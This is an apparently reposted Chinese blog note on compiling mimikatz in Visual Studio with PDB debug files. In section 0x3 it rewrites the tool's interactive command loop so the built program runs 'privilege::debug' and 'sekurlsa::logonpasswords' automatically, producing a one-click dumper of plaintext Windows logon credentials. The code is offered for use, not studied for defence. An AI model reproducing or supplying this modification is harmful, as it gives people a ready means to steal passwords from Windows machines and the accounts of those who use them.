VSVS调试mimikatz-生成PDB文件

Posted 17bdw随手笔记

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了VSVS调试mimikatz-生成PDB文件相关的知识,希望对你有一定的参考价值。

0x1 概要

记得某位同学提起在XXX得到了一个一键生成明文的工具,觉得很是神奇。。。

然而我一看图标就知道是mimikatz,这工具是开源的,只要改两行代码就可以实现写死命令了。

顺带讲讲编译过程中的问题和解决方法。

0x2 详情

调试这个工具的时候,发现新版本没生成debug模式的选项,F11调试没有对应到源代码。仔细一看原来是没有生成调试文件。

设置让Release的程序也生成pdb文件即可。

另外mimikatz没有debug版,所以导致有些参数被优化了。没有办法跟进具体的变量和函数,所以还需要把以下选项调成Debug模式可用的设置。

0x3 修改

原来的代码是程序没有接收到退出信号,就卡在循环里,直到用户输入命令然后执行,既然已经知道原理就写死命令即可实现我想要的功能。

找到以下代码:

#ifndef _WINDLL
        while (status != STATUS_FATAL_APP_EXIT)
        {
                kprintf(L"\\n" MIMIKATZ L" # "); fflush(stdin);
                if(fgetws(input, ARRAYSIZE(input), stdin) && (len = wcslen(input)) && (input[0] != L\'\\n\'))
                {
                        if(input[len - 1] == L\'\\n\')
                                input[len - 1] = L\'\\0\';
                        kprintf_inputline(L"%s\\n", input); //获取参数
                        status = mimikatz_dispatchCommand(input);
                }

        }
#endif
        mimikatz_end();
        return STATUS_SUCCESS;

修改后的代码:

#ifndef _WINDLL
        while (status != STATUS_FATAL_APP_EXIT)
        {
                //kprintf(L"\\n" MIMIKATZ L" # "); fflush(stdin);
                //if(fgetws(input, ARRAYSIZE(input), stdin) && (len = wcslen(input)) && (input[0] != L\'\\n\'))
                //{
                //        if(input[len - 1] == L\'\\n\')
                //                input[len - 1] = L\'\\0\';
                //        kprintf_inputline(L"%s\\n", input); //获取参数
                //        status = mimikatz_dispatchCommand(input);
                //}
                //提权
                status = mimikatz_dispatchCommand(L"privilege::debug");
                //获取密码
                status = mimikatz_dispatchCommand(L"sekurlsa::logonpasswords");
                status = STATUS_FATAL_APP_EXIT;
        }
#endif
        mimikatz_end();
        return STATUS_SUCCESS;

0x4 效果

0x5 参考

vs:Release版本和Debug版本的区别以及转换

http://blog.csdn.net/hust_sheng/article/details/49964217

以上是关于VSVS调试mimikatz-生成PDB文件的主要内容,如果未能解决你的问题,请参考以下文章

Visual Studio 不生成.vshost.exe和.pdb文件的方法

VSVS开发中遇到的问题的总结

编译后的dll,xml,pdb分别是什么内容,各有什么用处?

编译后的dll,xml,pdb分别是什么内容,各有什么用处?

我用VC编写了一个exe,但是生成的pdb怎么也无法用于windbg调试

pdb文件是啥?